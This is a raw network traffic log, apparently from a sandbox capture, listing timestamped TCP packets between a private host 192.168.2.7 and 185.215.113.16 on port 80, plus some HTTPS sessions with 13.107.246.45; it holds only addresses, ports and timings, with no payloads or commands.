Nov 15, 2024 19:39:34.002568960 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002583027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002614975 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002634048 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002645969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002679110 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002698898 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002712011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002762079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002763987 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.002794027 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002845049 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002871990 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002903938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002935886 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.002964020 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003011942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003062010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003094912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003127098 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003154993 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003202915 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003240108 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003271103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003304958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003371000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003420115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003453970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003489017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003536940 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003570080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003602028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003652096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003683090 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003731966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003767014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003801107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003833055 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003865957 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003901005 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003932953 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003964901 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.003998041 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004025936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004059076 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004091024 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004122019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004154921 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004203081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004235983 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004283905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004316092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004343987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004394054 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004427910 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004461050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004511118 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004544973 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004592896 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004622936 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004673004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004705906 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004736900 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004770994 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004801989 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004834890 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004867077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004899025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004931927 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004964113 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.004992008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005023956 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005057096 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005089045 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005121946 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005153894 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005187035 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005218029 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005254030 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005281925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005316019 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.005553007 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.005575895 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.005600929 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.006611109 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.034794092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.034845114 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.034895897 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.034929037 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.034962893 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.034995079 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.035017967 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.035027981 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.035057068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.036175966 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036228895 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036236048 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.036279917 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036314011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036330938 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.036345959 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036377907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.036390066 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.082174063 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.091058969 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.091629028 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.091651917 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.092009068 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.092199087 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.092204094 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.092602968 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.092611074 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.093363047 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.093369007 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.124880075 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.124919891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.124937057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.124984980 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125000954 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125040054 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125040054 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125077963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125096083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125113964 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125128984 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125132084 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125144958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125180006 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125199080 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125201941 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125298977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125314951 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125330925 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125346899 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125348091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125364065 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125380039 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125418901 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125425100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125442028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125488043 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125524998 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125540018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125559092 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125574112 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125588894 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125641108 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125766039 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125782013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125797987 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125813007 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125829935 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125840902 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125842094 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125857115 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125863075 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125873089 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125889063 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125915051 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.125926018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125941038 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125955105 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.125988007 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126064062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126080036 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126095057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126110077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126121998 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126146078 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126204014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126218081 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126240969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126256943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126260042 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126271963 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126281977 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126288891 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126303911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126315117 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126315117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126365900 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126416922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126431942 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126473904 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126496077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126513004 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126549959 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126643896 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126658916 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126676083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126689911 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126702070 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126704931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126719952 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126723051 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126739025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126768112 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126791954 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.126925945 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126951933 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.126967907 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127001047 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127068043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127083063 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127089977 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127098083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127166986 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127221107 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127237082 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127252102 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127266884 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127275944 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127284050 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127301931 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127301931 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127343893 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127629042 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127671003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127684116 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127686024 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127728939 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127775908 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127791882 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127805948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127820969 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127842903 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127867937 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.127887011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127904892 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.127958059 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128007889 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128021955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128036976 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128051043 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128067017 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128081083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128098011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128103971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128103971 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128137112 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128226995 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128242970 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128258944 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128274918 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128276110 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128292084 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128299952 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128304958 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128343105 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128381014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128402948 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128418922 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128428936 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128433943 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128451109 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128467083 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128468990 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128484011 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.128504038 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128525972 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.128563881 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.157911062 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.157942057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.157975912 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.157984018 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158010006 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158035040 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.158051014 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158092022 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158102036 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.158118010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158145905 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158162117 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.158170938 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.158212900 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.159521103 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.159569025 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.159595013 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.159614086 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.159621000 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.159646988 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.159662008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.161900997 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.162465096 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.162482023 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.163011074 CET	49809	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.163017035 CET	443	49809	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.207230091 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.221293926 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221328020 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221383095 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221549034 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.221549034 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.221766949 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.221766949 CET	49808	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.221784115 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221796036 CET	443	49808	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221927881 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.221978903 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.222022057 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.224510908 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.224534035 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.224549055 CET	49807	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.224555016 CET	443	49807	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.230003119 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.230014086 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.230073929 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.230988979 CET	49812	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.231003046 CET	443	49812	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.232144117 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.232180119 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.232261896 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.232397079 CET	49813	443	192.168.2.7	13.107.246.45
Nov 15, 2024 19:39:34.232414007 CET	443	49813	13.107.246.45	192.168.2.7
Nov 15, 2024 19:39:34.247653008 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247725010 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247776031 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247788906 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.247812033 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247847080 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247864008 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.247879028 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247931004 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.247935057 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.247968912 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248007059 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248027086 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248037100 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248070955 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248084068 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248106003 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248161077 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248167992 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248193026 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248244047 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248255968 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248276949 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248330116 CET	49802	80	192.168.2.7	185.215.113.16
Nov 15, 2024 19:39:34.248342991 CET	80	49802	185.215.113.16	192.168.2.7
Nov 15, 2024 19:39:34.248397112 CET	80	49802	185.215.113.16	192.168.2.7
